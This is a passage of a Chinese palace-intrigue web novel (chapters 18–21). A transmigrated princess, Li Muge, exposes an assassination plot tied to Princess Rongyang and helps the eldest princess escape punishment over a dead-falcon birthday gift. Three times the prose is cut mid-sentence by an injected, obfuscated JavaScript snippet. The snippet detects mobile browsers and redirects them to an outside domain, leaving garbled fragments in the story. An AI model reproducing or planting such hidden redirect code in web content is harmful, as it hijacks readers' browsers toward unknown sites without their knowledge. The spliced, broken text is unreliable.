荣阳公主抿了抿唇,不是很情愿出面,但她和太子利益缠绕颇深,太子好她不一定有多好,但太子不好,她一定会很不好。 不得已,荣阳出面到场中一拜,随后说道:“父皇、诸位大臣,请听荣阳一言,万寿宴上送天子亡鸟,可谓是大不吉,此罪甚大,若为平民,今日便是拖出去斩了,也不为过,大皇姐可认此罪?” 大公主知道荣阳出面是为什么,她没有表现出一丝一毫的惧怕,反倒不卑不亢地说:“三皇妹所言极是,父皇,儿脱簪请罪,自然认罪,要打要罚,悉听尊便。” 大公主心想,与其让荣阳请罚,得个公正严明,大义灭亲的好名声,不如自己此刻开口揽罪,有百官求情,父皇又已然消了气,这罚不会特别严重。 18.第 18 章 大公主一段话让上头的皇帝脸色逐渐趋于正常,荣阳出面并没有让局面继续恶化,反倒助大公主逆转了局面。 气得太子很想骂一句蠢货!又不是第一天与大公主对着干,不知道动手时,务必要让大公主说不出话来吗? “大皇姐认错就好,大皇姐这又是脱簪待罪,又是大义凛然认罚的样子,不知道得还以为,有人能手眼通天到在众目睽睽之下,戕害忠良了。” 荣阳公主没有认输,她立刻转变了攻击思路,要坐实大公主的罪名,不给大公主任何逃脱罪名的机会。 想要推人出来背锅也不行,查明真相还自身清白更不行,因为根本没有人害大公主,就是大公主的错。 只要大公主点头认了,这口在亲爹生辰之日,送亲爹死鸟的大锅,便会结结实实扣在大公主头上,让大公主永远担上不孝的骂名。 大公主没有理会荣阳,只跪地请罚,一副只听皇帝命令的做派,让因为荣阳的话又生出三分恼怒的皇帝做出了理智的判断。 余下公主皇子的礼物直接收入内库,不必一一出面送了,所有人都去看放烟花,看完直接散宴。 流程走完,今天晚上发生的一切事情,都明天再议。 无论是出面的大臣,还是没有出面的大臣,听到皇帝的吩咐后都松了口气,他们可不想在此刻卷入皇家纷争之中,皇帝能放他们离开,他们求之不得。 就是三三两两走出大殿的时候,彼此之间都交换了一个眼神,没想到大公主和太子之间的关系已经差到这份上了,真是互相之间往死里坑对方。 他们没有太子动手的证据,可明眼人都能看出来,大公主送礼出错一事,绝对跟太子脱不了干系。 不需要证据,只需要看结果对谁更有利,一下子就能锁定嫌疑人。 李暮歌随大流走出了紫薇殿,出去后,在夜色的掩藏中,她身侧少了一个人,又多了一个人。 锦绣不见了,颜士玉过来了。 “颜太傅和颜三娘子看上去心情都不是很好。” 李暮歌率先开口,带着些调侃的意味,听上去不是很友好。 颜士玉微微苦笑,“祖父与三姐都在为大殿下担忧,不知明日能否全身而退,殿下言说今晚会很热闹,现在看来,确实热闹。” 颜士玉之前听李暮歌邀请她来万寿宴,她还天真的以为是人多热闹,没想到竟然是这样的热闹。 “不好看吗?” 李暮歌压低声音,轻声问颜士玉。 颜士玉脸上的苦笑加深了些许,她没法说违心话,苦哈哈地点了点头,“好看是好看,就是在下这心快要跳出嗓子眼了,实在是凶险啊。” 颜家和大公主牵扯颇深,大公主如果出了事,颜家绝对无法独善其身,纵使颜士玉跟大公主不是一条心,她也怕颜家被连累到。 颜士玉有心跟李暮歌说一声,以后若还有类似的事情发生,还请十四殿下提前知会,让她有些心理准备。 话到嘴边,没说出口。 哪怕十四殿下提前说明,大殿下也不一定能防得住。谁能想到在大公主百般注意之下,游隼还是出了事呢?邀宠变为牢狱之灾,幕后之人动手够快够狠,也够隐蔽。 “明天才更精彩,可惜你我都没法亲眼得见,真是遗憾。” 今天当着文武百官的面儿,还是在万寿宴上,大公主和太子两边都比较克制,等到了私底下,那才叫真精彩,到时候鸡飞狗跳,肯定极为热闹。 小说里这一段曾不止一次描写到皇帝的反应,皇帝被气得暴跳如雷,几欲昏厥,李暮歌怀疑后来皇帝年纪轻轻便有点了老年痴呆迹象,很可能是被他“孝顺”的孩子们给“孝”得。 颜士玉闻言仔细看了眼李暮歌的表情,发现李暮歌眉眼全是笑意,显然心情特别好,看戏看得很是尽兴。 颜士玉默默刷新了对李暮歌的印象,这位传言中很是懦弱可怜的公主,真实的样子显然和传言大相径庭。 和颜士玉说着话,李暮歌在外头欣赏了一场壮丽绝伦的烟花表演,天空被各色烟花炸开,晕染成一层层五彩的颜色,上一秒出现,下一秒消散,璀璨艳丽不过一瞬。 连连巨响顺着五彩斑斓的光传入耳中,李暮歌浑身一松,只觉心旷神怡。 她终于摆脱了小说里既定的死亡,迈入属于她的人生,从今日起,再也不会出现莫名其妙的剧情杀了,至少她不用担心,有无数人前赴后继,不计代价地前来刺杀她。 想来那些想要她命的人,大半注意力都会被转移到大公主党和太子党的斗争上。 这是她的机会,一个千载难逢的机会! 在人群的欢声笑语里,李暮歌后退半步,拽着颜士玉往角落走,一直到没人的地方,才开口要求颜士玉带她去见颜士珍。 颜士玉不知李暮歌目的,她也没多问,老老实实当一个带路人。 等到了颜士珍面前,李暮歌直视颜士珍满是忧愁的眼,说了一句话,让颜士珍立刻决定带她去见颜太傅了。 “我能救大皇姐。” 六个字,让李暮歌一步从炮灰背景板的身份,迈入到大戏中有名有姓的配角之列,颜太傅那双有些浑浊的眼中,第一次出现了一个年轻的身影。 他干枯瘦弱的手捋着自己有些稀松的白胡子,爬满岁月的脸上是一道道沟壑,只有那双眼睛亮的惊人,哪怕已经不是黑白分明,依旧能清晰照出世间的善恶。 “十四殿下,大殿下性命无虞,无须他人施救。老臣知晓十四殿下与大殿下姐妹情深,但莫要为了姐妹之情,冲动承诺自己做不到的事。” 颜太傅不觉得年轻的,还没有外出建府的公主能转变眼下焦灼的局势,更不觉得,大公主需要十四公主去救。 “太子与三皇姐步步紧逼,大皇姐除了承认罪名外,别无他法,父皇疼爱大皇姐,当然不会因为一只鸟治大皇姐重罪,可有些罪名,不至死却也要命,大皇姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876672|159398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若没法洗清嫌疑,查清真相,还自己一个清白,那她日后就要一直背着无君无父,意图忤逆的不孝骂名了。” 李暮歌知道颜太傅不相信她,颜士珍也不信她,后者之所以答应给她一个机会,是因为颜士珍病急乱投医了。 正如李暮歌所说,大公主眼下面对的最大危机,并不是生死,而是她的名声。 颜士珍深知大公主野心,所以她清楚,一旦大公主担上了骂名,以后想要胜过太子,难上加难,这才焦急不已。 颜士珍能明白的道理,颜太傅自然也明白,但颜士珍正发自内心的焦虑,颜太傅却颇有些云淡风轻的意味。 李暮歌不太明白,这位历经三朝的老人,究竟在想什么。 她对上颜太傅满是深意的目光,有种被这位老人翻看人生的错觉,好像她的心思,她的打算,在这位饱经风雨的老人面前,无所遁形。 李暮歌微微闭眼,再睁眼,眼中只余坚定,“所以,太傅真的不想听一听,本殿下要如何救大皇姐吗?不是救她眼下,而是救她将来。” 颜太傅颔首笑道:“十四殿下请说。” 李暮歌微不可查地松了口气,她将自己的打算说了出来,颜太傅不时皱眉,又有时会点头附和,开口说两句自己的意见,两人一聊就是两刻钟,外头烟花声渐渐平息,李暮歌才从无人的偏殿出来,往春和宫走。 她出来没多久,就碰上了匆匆忙忙的锦绣。 锦绣见到她,大喜过望,走过来立马行了个礼,张口告罪,“奴一时不察,竟跟丢了殿下,请殿下责罚!” “人多,你又只有一个人,哪儿能面面俱到,不必请罪,再说了,紫薇殿附近最是安全,本殿下什么事都没有,你何罪之有?起吧,该回春和宫了。” 看着老老实实一晚上,什么小动作都没有的锦绣,李暮歌压下心底的疑惑。 难道在万寿宴上下毒害她的人不是锦绣? 还是说,锦绣后头的那位改了主意,没有在万寿宴上动手。 回程路过梧桐殿,李暮歌驻足,让锦绣去梧桐殿一趟。 “万寿宴上发生这么大的事情,你进去看看母妃回来没有,若回来了,就问问母妃打算如何应对。” 锦绣没多想,应了一声是便去了。 李暮歌站在原地没动,不消片刻,两道身影从梧桐殿里走了出来,正是翠玉与锦绣。 良嫔已经回来好一会儿了,翠玉替良嫔传句话,良嫔的意思是此事不关她们的事,老老实实呆着等结果便好,话里话外无外乎一个意思,叫李暮歌老实点儿。 李暮歌让锦绣回梧桐殿代她传话,说了几句她一贯老实,不会擅自行动之类卖乖的话。 等锦绣离开,李暮歌跟翠玉说:“你想法子代替锦绣,到春和宫来。” 接下来一段时间,李暮歌没功夫盯着锦绣,而且她也想看看,锦绣离了春和宫,锦绣背后的人会有什么反应,锦绣本人又会做什么。 19.第 19 章 翠玉做事非常迅速,李暮歌第二天一睁眼,就看见站在自己床前的翠玉了。 翠玉不光代替了锦绣,今日她甚至还代替了白术,伺候李暮歌起床梳洗,全程没多说一句话,只言自己是良嫔娘娘不放心公主,特意派来陪公主解闷儿的人。 至于这个解闷的时间,全看公主意愿。 李暮歌梳妆完毕后,不禁夸了翠玉好几句,还赏了她点儿东西,表面上是对翠玉梳妆手艺的夸奖,实际上是对翠玉非同一般的工作效率。 等用完早膳,便有人上门了。 李暮歌本人确实是不太想出面,在前期局势还不曾明了,大家还没有将厮杀摆在明面上的时候,贸贸然出头是一件非常危险的事情。 可大公主没有办法像书中那样,靠太子“谋害手足”之罪脱身了。 她又没死,十一的死也不可能和太子掺和上,大公主如果在前期就下线,或者是陷入绝对劣势,对后面的发展非常不利。 李暮歌可不想自己还没有猥琐发育起来,桃子就已经被人给摘走了。 上门拜访的人是李暮歌的熟人,曾有过几面之缘,正是那位一直跟在大公主身边的蓉娘子。 良嫔有吩咐,闲杂人等不能随意进出梧桐殿和春和宫,可蓉娘不是闲杂人等,守门的宫人根本拦不住她。 当然,蓉娘不会没有规矩的硬闯,她只是让宫人帮她带话,请十四公主与她一同前往紫薇殿。 “殿下若是不想去,奴这就出面回绝蓉娘子。” 翠玉很有眼力见的主动开口,力求让自己未来效忠的主人,看见她的价值。 李暮歌表示她已经看见了,翠玉是真的很不错。 “不必,大皇姐一直以来待我不薄,如今大皇姐有请,焉有不去之理,这就走。” 李暮歌愣是一秒都不愿意等,毕竟这个机会不是别人给她的,是她亲自争取而来。 就算前期要猥琐发育,也不能一直当背景板,如果她不曾在皇帝面前露过脸,以后皇帝有什么好事儿,都不可能想到她头上来。 她必须得有一个出场,不仅仅是做给皇帝看,还得让满朝文武都看看,让他们都知道知道,宫里还有一位十四公主。 要猥琐发育,不能浪,但也不能籍籍无名。 此刻紫薇殿内,大公主和大驸马跪在殿内,左右全都是朝中大臣,太子和荣阳公主也立在一旁,坐在上位的皇帝面无表情,心情显然不是很好。 有一位身着朱红臣子袍的大臣出面,拱手道:“陛下,昨日之事,发生在众目睽睽之下,当时端华公主也认了罪名,以臣之见,今日依罪罚处便是,念及端华公主乃是陛下之女,此罪可从轻处罚。” “陛下,对上大不敬之罪,也能从轻处罚吗?若真是如此,陛下威严何存?” 那位大臣的话音刚落下,就又有人站了出来,一脸愤慨地开口,将事情的性质定死在对上大不敬的恶性上。 此言一出,皇帝沉思,显然是被说动了。 “荒谬!天子威严在威震四方,在万民归心,在天下臣服,独独不在重罚公主上!公主乃是陛下亲女,身份尊贵,岂能如寻常人一般,下牢狱,当众重罚!” 说话的大臣还是那位朱红袍子的官员,他姓陈,乃是当朝户部尚书,更重要的是,他和大公主的母亲是一个姓,他是大公主的堂舅。 陈家算不上根基深厚,曾经陈家还是落魄寒门,是因为陈家出了已经去世的陈妃,陈妃还生了尤其让盛天皇帝疼爱的大公主,这才在盛天皇帝执政期间一飞冲天。 而今换了皇帝,陈家依旧势头不减,是皇帝亲信之一。 而跟陈尚书争执不休的官员,则姓杨,时任吏部侍郎,他是太子妃的亲大伯。 在场那么多高官,分量比他们俩重的不是没有,但其他人都没有说话,也没有发表意见,任由两人争执。 表面上是两种处置想法的分歧,实际上是大公主和太子之间的矛盾,他们俩谁输谁赢不重要,重要的是皇帝如何抉择。 所有人都在等皇帝开口,皇帝不知道在想什么,任由两人在他面前吵得脸红脖子粗,始终不发一言。 终于,大公主忍不住了。 她跪得时间久了,膝盖疼得很,再跪下去不一定能起来,到时候狼狈不堪,跟当众受罚有什么区别! 或许皇帝就是想让她多跪一会儿,在自己的生辰宴上出这种事情,皇帝心里过不去这道坎。 可大公主觉得已经够了,她又不是有意的。 “父皇!儿深知,此事冒犯天颜,罪该万死,可念在儿一片孝心,并非有意的份上,还请父皇息怒,饶儿一次吧!”大公主眼中满盈泪花,“难道父皇当真要为了一只鸟,置儿于死地吗?” 她说着,任由泪水落地,打湿地面,随后又哭道:“昔日母妃在时,父皇说想要儿如游隼一般,翱翔天地,无拘无束,自那时起,儿便想成就一番事业,为父皇与母妃争光,此次进献游隼,也不过是想全了儿时心愿,谁知竟有歹人故意陷害,叫儿背上忤逆不敬的骂名,儿实在是冤枉啊!” 提到已逝之人,皇帝的目光以肉眼可见的速度温和下来,他跟着大公主的话,陷入了那一段回忆。 彼时爱妃陪伴身侧,纵使他和大公主在朝廷上政见不合,多有矛盾,但只要爱妃还在,他和大公主就能和好如初,父女之情依旧深厚。 这五年来,大公主愈发与他生疏了,他有时看见大公主也是一肚子气,觉得大女儿真是生来讨债,半点儿不安分,叫人生厌。 可大女儿也不想这样,是盛天皇帝,他的母后将他的大女儿养歪了,陈妃在时,常常叫他多多担待些,不要寒了女儿的心,皇帝想着故人昔日音容,挥手叫宫人搬上椅子。 “都坐下吧,老大和大驸马也别跪着了,也不是什么大事,何至于此?” 皇帝心情的好坏像是天气,好时阳光明媚,坏时雷霆万钧,偏偏无论是什么,身为臣子都得受着。 站了半天,站得腿脚发麻的众人,跟一瘸一拐的大公主与驸马两人一起,坐在了椅子上,位置还是原来的位置,气氛却好了不少。 太子和三公主对视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14888664|159398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼,看见了对方眼中的愤恨。 老大就只会这一招是吧!动不动就给陈妃哭坟,哭得父皇心软,全都听她的了! 陈妃活着的时候为女儿谋划,死了还能帮到女儿,真是烦人。 太子心里暗骂不止,坐下后就给荣阳递了个眼神,荣阳微微点头,表示明白。 大公主擦去泪珠,看向皇帝的目光满是孺慕之情,心中则是叹息一声,她并不想将母妃抬出来,母妃已经去世,该在地下享清福,是她这个做女儿的无能。 而且像是这种事情,不能常说,人对亡者的感情是有限的,尤其是皇帝,薄情寡义至极,大公主并不想将皇帝对她母妃的那点儿感情消耗殆尽。 可不提不行了,局面实在是不利于她。 大公主垂眸时,想得是蓉娘到底有没有请到人,人什么时候到。 “大皇姐刚刚提到了歹人陷害,可有证据?若是能有证据证明当真是有人暗中下手,那咱们就查清真相,还大皇姐一个清白,好叫陈妃地下有知,莫要为此事心忧。” 荣阳等皇帝情绪稍稍平息后,站出来说道,她似乎是为了大公主好,可谁听不出来她话中的恶意? 这位三公主养气功夫实在一般,几个大臣对视一眼,贵妃娘娘脾气也这么差,可见武将出身就是粗俗。 皇帝听着皱了皱眉,不过他都习惯荣阳这副模样了,懒得开口说她。 “三皇妹所言极是,父皇,可不能冤枉了大皇姐。” 太子开口道,他态度温和,言语诚恳,比荣阳好了不知多少。 皇帝点点头,“端华,你既然说是有歹人陷害,可有证据?” “此事刚刚发生,儿还未曾查明,儿以为……” “陛下,十四公主求见!” 大公主还想再拖延一下时间,就见有宫人从外面进来,那宫人一脸焦急之色,甚至直接打断了大公主的话。 其余人微微皱眉,尤其是太子党,心中都有些莫名的直觉,那位十四公主来者不善。 近几日十四公主与大公主走得近,他们都得到风声了。 “有什么事要这样着急!” 宫人立马伏地回道:“回陛下,十四公主说,有人在宫中行刺!” “什么!” 惊呼出声的人不止皇帝一个,其余人都惊骇不已,更有大臣站出来就要喊护驾,还好那宫人又说话了。 “十四公主说,她已经抓住刺客了,只是刺客已然咬舌自尽,查不出其他。” 听到刺客已死的消息,皇帝皱紧的眉毛稍稍舒展,“宣她进来。” 太子见此,侧头狠狠瞪了荣阳一眼,荣阳公主一反常态地低下头去,双唇抿紧,像是很心虚。 大公主微不可查地松口气,她手上一重,抬头一看,竟是驸马将手附了过来,像是在安慰她。 李暮歌进屋的时候,只觉得自己像是站在舞台上的明星,所有人都在看她,在打量她,等待她开始表演。 行叭,她定然不负众望。 “儿见过父皇,问父皇安。” 20.第 20 章 皇帝摆摆手,“起来吧,赐座。” 坐下后,李暮歌的神情更从容了一些,皇帝的态度给她释放了一个信号,那就是大公主此前并没有吃亏,甚至可能已经将局面稳定住了。 大公主威武,不愧是书中十分有重量的角色,手段心智都不是常人能够比拟,李暮歌自认自己如果没有提前布局,骤然陷入危局之中,定然没有大公主这般淡定从容,甚至还能保有还手之力。 皇帝问道:“之前听你说,宫里有刺客,究竟是怎么回事?” 定了定神,李暮歌开口道:“父皇,是在梧桐殿内,有刺客刺杀孩儿,好在刺客已经找到,无奈那刺客机警,已经咬舌自尽,问不出其他话。” 这段话,李暮歌用了些技巧,她说得每一句话都是真实发生的事情,但她模糊了时间线。 并且还在这段话里,将刺客,替换成了两个人。 她将那个半夜刺杀被抓住的刺客,与那个已经逃跑的射杀她的刺客,融为一体了。 反正人已经死了,死无对证,她说是谁就是谁。 “宫里有刺客混入,禁卫军到底是干什么吃的!是谁负责守卫梧桐殿一带!” 皇帝大怒,拍桌喊人,明显是要问责了。 李暮歌当然不会供出郭勇,郭勇算得上是良嫔的人,以后说不准还要用上他,现在让郭勇顶锅没有任何好处。 “父皇,那刺客阴险狡诈,武功高强,而且还是宫里的人,禁卫军没能防住他,确实有错,好在后面是靠禁卫军才将此人抓住,将功补过,还请父皇开恩,莫要责怪禁卫们。” 李暮歌起身行礼,引来其他人复杂的目光。 在皇帝震怒的时候,大家都习惯推出一个出气筒了,只要让皇帝将那口怒气宣泄干净就行,别火烧城池殃及他们这些池鱼,这还是第一次有人在皇帝震怒的时候站出来,为皇帝选定的“出气筒”说话。 十四公主是不是有点儿太莽了?她知不知道,她只是一个不受重视,甚至还没有离宫建府得封号的普通公主啊! 她不怕开口引来皇帝的不满,让皇帝厌恶她吗? 李暮歌当然不怕,她的人生就像是一场游戏,选错之后,大不了重头读档再来。 虽然读档付出的代价有些大,跟真正的游戏出入颇多,但读档就是读档,读档的好处就是她可以随便试错,只要有一条对的道路被她找到,她终有一日,能够一路赢到底! 皇帝沉默了一瞬,半晌点点头,“你说得有些道理,之后朕会派人去查清此事原由,给你一个交代。” 他说完,顿了一下,又说道:“十四,你是个好孩子。” 这话里带着叹息,好像是在感慨什么,太子和大公主身体一僵,表情变得有些不自然。 昨日的一场闹剧究竟是怎么回事,两人心知肚明,左不过是攻坚陷害那一套,目的是皇帝屁股底下的位置。 皇帝同样明白,他一直没有戳破那一层窗户纸,孩子长大了,有了自己的小心思很正常,只是他的孩子终究是偏离了他心目中的模样,朝着他曾经的道路奔去。 皇帝有时候或许也会恍惚,从牙牙学语到蹒跚学步,再到学堂之上摇头晃脑的读书,记忆里可怜可爱的小孩子,为什么会一转眼变得面目全非,成为为了权力不择手段的人。 熟悉皇帝的人都听出了他那一句话的感情,李暮歌作为在场唯一一个和皇帝没打过几次照面的“陌生人”,什么都没听出来。 她依旧按照自己原本的设计走步骤,在皇帝有意将此事推到之后时,拿出一份证据。 “父皇,禁军们找到了一些线索,或许能够指向幕后之人的身份。” “哦?将线索呈上来。” 皇帝有心先将李暮歌的事情处理完,他实在是无法下决心重罚大公主,于是生出几分逃避的心思。 等线索呈上来,皇帝就后悔了,早知道将十四的事情放到后头一起查,至少不会当着众臣子的面,看见指向性如此明显的证据。 李暮歌呈上去的证据,是一支箭。 这支箭一开始在梧桐殿,后来被大公主带走了,李暮歌有意今日利用此箭来解大公主危机,大公主府的人自然将箭拿了出来。 正如大公主能一眼看出此箭猫腻,皇帝作为一个实权皇帝,军械去处,他更清楚,所以他一眼就看出这箭是哪儿来的了。 “今日暂且到此,诸位爱卿且各自回去,莫要误国事。” 皇帝先下了逐客令,大臣们老老实实起身行礼离开,他们知道,这事儿肯定是皇室内部的乱子。 皇帝不想要将此事闹大,才会将他们都赶走,他们赖着不走,那是纯粹活腻歪了。 等大臣们全都离开,皇帝抬眸看向老老实实站着说话的李暮歌,他看不出李暮歌是故意还是无意。 李暮歌抬头无辜回望,好像不明白那些大臣为什么离开,是她未曾踏足朝堂,所以她的事情算后宫琐事,不值得大人们停足处理吗? 皇帝见李暮歌的无辜不似作假,想着十四是被刺杀的人,这事儿理应不是十四故意陷害。 皇帝念及此,起身将那一支箭狠狠掷到荣阳身前,怒斥道:“朕看你们真是反了天了!朕还没死呢,一个个就想着要残害手足!派人刺杀?荣阳!你是不是要逼宫造反啊!” “父皇息怒!儿没有!” 荣阳在看见李暮歌进来时就心有预感,但她想着自己派去的刺客并未被李暮歌抓住,便想着可能不是自己。 没想到最后还是指向了自己。 “父皇,不过是一支箭,怎么能说是儿派人刺杀!儿真的没有啊!” “还敢狡辩,你这天生地造的蠢货,这是前段时间西北要去的箭,箭身不足,短了一寸,箭尾细小,仅能以弩用之,普天之下只有西北有,刺客估计也是你从你外祖那里要来的吧?你还狡辩!” 荣阳要不是是公主,皇帝定然上脚踹她了,这么大的破绽露出来,竟还犹然不知。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894568|159398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “朕英明一世,贵妃亦是聪颖之人,怎会生下你这光长个子不找脑子的蠢货!” 不能踹人,皇帝只能多骂几句了,他骂得难听,荣阳脸色难看极了,跪在地上抿紧唇,像是在跟谁闹脾气一样。 李暮歌冷眼看着,心一点点沉底,皇帝此刻似乎很生气,但这生气有几分是真,有几分是做给她看得呢? 如果皇帝真的生气,他该同昨日在宴席上一样,开口就叫人将荣阳押下去,而不是一直骂,却一句惩罚都不提。 “还不给你十四妹赔罪,你作出这副模样,是想干什么!违抗皇命吗?” 皇帝见荣阳梗着脖子闹脾气,更气了,他余光看见太子一脸冷漠,又看见大公主一脸神游天外的模样,气得快心梗了。 他怎么有这么一群讨债的孩子啊! “父皇,三皇姐定然不是故意的,十四只是不解,究竟是哪里得罪了三皇姐,惹得三皇姐如此大火,竟派人刺杀,三皇姐当真想要十四的命吗?” 没法靠着皇帝将荣阳弄死,李暮歌也不费力了,干脆先弄明白荣阳到底为什么要杀她。 既然皇帝和荣阳不仁,日后就不能怪她不义了。 李暮歌垂下的眼眸中,满是森寒杀意,可惜在场的人都被她的眼泪蒙蔽,真以为她是那个受了无妄之灾的小可怜,除了哭泣,没有任何反击的手段。 荣阳抿唇,“十四太嚣张,父皇,儿只是想给十四一个教训,没想真的要她命,若当真要她的命,她哪儿能逃得过啊!这只是个玩笑,还请十四皇妹莫要放在心上,三皇姐在此,向你赔个不是。” 她嘴上赔不是,实际上所有歉意都冲着皇帝去了,完全是表演给皇帝看得,连动手的理由都懒得编,随口一句太嚣张,没有一点儿说服力。 这下别说李暮歌,皇帝都觉得憋屈得慌了,可皇帝不可能为了李暮歌杀了三公主,他无奈开口。 “十四,你三皇姐做事太鲁莽,她性子一向如此,冲动之下容易做错事,你们是亲姐妹,莫要因此生出嫌隙,前段时间你已及笄,公主封号也该定下来了,可有喜欢的?” 李暮歌听完皇帝的话,直接说道:“儿还没想过封号一事,要回去同母妃商议一二。” “好,十四是个孝顺的好孩子,委屈你了。” 不委屈,就是命苦,当了你的孩子。 李暮歌擦去眼泪,对皇帝说:“父皇,一家人不说什么委屈不委屈的,劳父皇为我们费心了。” 皇帝这下是真心酸了,他的苦心只有十四这孩子懂,枉前头几个痴长那么多岁,结果一个懂事的都没有。 他以为这件事已经结束了,没想到大公主突然开口。 “父皇,三皇妹这支箭倒是让儿想起一件蹊跷之事,前段时间儿派人去西北寻游隼,听闻西北军打了败仗,可朝廷却没有听到丝毫风声,还请三皇妹替西北军向父皇解释解释。” 荣阳神情一僵,旁边当背景板的太子则是心中一紧。 21.第 21 章 皇帝眯了眯眼,看着荣阳,等她解释。 如果是别的事,皇帝都能睁一只眼闭一只眼,他向来疼宠先头几个孩子,况且人非完人,孰能无错,有错改之便可。 可事关兵权,出任何事情都算不上小事。 看见皇帝此刻与之前截然不同的神情,李暮歌暗暗翻了个白眼,荣阳从外祖家借个退役的老兵回来,拿着西北军的武器进宫暗杀公主,在皇帝心里都算不上大事。 西北军打了一场败仗,没告诉朝廷,皇帝不知情,他的态度立马严肃起来,一副要严格处理的样子。 说白了,被刺杀的公主不过是个公主,哪里能比得上皇帝自己的事情重要呢?兵权若是被人夺走,皇帝的位置都要坐不稳当了,他当然急了。 “父皇,儿不是很清楚此事,或是有大臣觉得一场败仗,不好在父皇万寿宴上说起,顾及父皇心情,这才延缓上报,毕竟不是每个人都能如大皇姐一般,有在大好日子泼冷水的勇气。” 在宫里长大的孩子,哪怕是看上去最蠢的那个,也不是那么好对付的。 李暮歌听了荣阳的这段辩解,都想要拍手叫好了,荣阳可真是个人才,不光将事情从西北军头上推到一个莫须有的大臣身上,还提醒皇帝,大公主在万寿宴上做得事,性质比隐瞒一场败仗要恶劣。 如果皇帝是昏庸之人,或许还真会被荣阳三言两语转移了注意力,可皇帝不是那种人。 他在权力上向来十分敏锐,生辰意外收到死鸟和边境军权脱离自己掌控,两件事孰重孰轻,他心里清楚。 “起来吧,此事朕会查清,荣阳,你是李氏的公主,该有李氏公主的模样,记住了,你姓李!” 皇帝没有当场发作,没有真切证据之前,他不可能真对自己的孩子下狠手,再说了,就算真有证据,只要不是荣阳自己做得,他也会饶荣阳一命。 贵妃与他少年夫妻,又孕有一女一子,不为其他人,也得为贵妃和魏王想想。 荣阳低头应是,随后起身,她没有理会告发她的大公主,反倒在转身的瞬间,给了太子一个眼神。 “父皇……”大公主微微皱眉,不想这件事就这么平平淡淡得被揭过去。 李暮歌伸手按住大公主的手腕,躬身道:“父皇国事繁杂,儿便不多打扰了。大皇姐一夜未眠,不如先去春和宫歇息片刻,正好可以顺便帮十四选一选公主的封号。” 太子和三公主的目光都落在了李暮歌身上,他们不甘心就这样放过大公主,却因为西北军的事情,没有再开口为难的勇气,生怕大公主拿出坚不可摧的证据,证明他们做过的那些错事,确有其事。 到时候皇帝想要护着荣阳都护不住,甚至可能顺着荣阳的事情,查到太子身上! 他们投鼠忌器,只能眼睁睁看着李暮歌当场和稀泥,要顺带着将大公主捞走。 皇帝也烦了,与西北军的事情相比,大公主那点儿事情,简直微不足道。 “行了,老大也不是故意的,此事便了了,老大,罚你两个月的俸禄,让你长长记性,走吧。” 皇帝隔空指了指大公主,随后一摆手,不耐烦地赶人。 大公主没有顶上重罪罪名,只被罚两个月俸禄,这个惩罚代表她安然无恙的退场了。 李暮歌对结局还算满意,皇帝的每一个选择,都没让她惊讶,因为皇帝在书里也是这样的性格。 有句俗语说不聋不哑不做家翁,皇帝显然听过这句俗语,并且一贯遵循俗语里的智慧,他一直在家事上装聋作哑,李暮歌此刻和稀泥的手段,比起皇帝来说,那都是小巫见大巫。 可惜皇帝不明白,身为皇室,他们之间没有家事可言,任何家事都是国事,因为他们的一举一动,会牵引全天下的人心。 皇帝赶人,他们当然不能强行留下,四人行礼后走出偏殿,到门口稍作停留。 大公主率先打破沉默。 “呵!太子殿下可真是令人羡慕,不管做什么,都有人在前方为太子冲锋陷阵,不过太子殿下手是不是黑了点儿?连自己人都坑啊。” 太子如往常一般挂上温润的笑,“大皇姐误会了。” 话毕,他若有所指地看了一眼李暮歌,又说道:“大皇姐不也找到了愿意为皇姐冲锋陷阵的先锋吗?” 突然被冠以“先锋”之名的李暮歌无辜回望,好像没听明白什么意思。 “我吗?二皇兄是指我为大皇姐冲锋陷阵吗?” 李暮歌直接指着自己开口,什么委婉互怼,她上来就要摆开阵仗,有能耐把话都说明白! 李暮歌没忘记,荣阳在里头根本没有说到底为什么会派人杀她,那句原身太嚣张,想给个教训的话,简直就是敷衍至极,装都不装的假话。 太子嘴角的弧度向下压了压,他之前没怎么跟十四说过话,不清楚十四性格,不过在他印象里,十四总是低着头,像是恨不得将自己藏到地缝里,绝不是现在这样直接大胆的性子。 他顺着李暮歌的话说:“是啊,今日十四在父皇和诸位大臣跟前的表现,可真是令孤刮目相看,进退有度,神态自若,胆气十足。” 李暮歌哈哈一笑,“因为被人刺杀,差点儿死了,所以一冲动便莽撞了点儿,二皇兄莫要笑话我,对了,在殿中我就想问,三皇姐,你真的要杀我啊?” 荣阳冷冷看着李暮歌,没有反应,像是没听见这话,对李暮歌的不屑直接摆在脸上,装都不装。 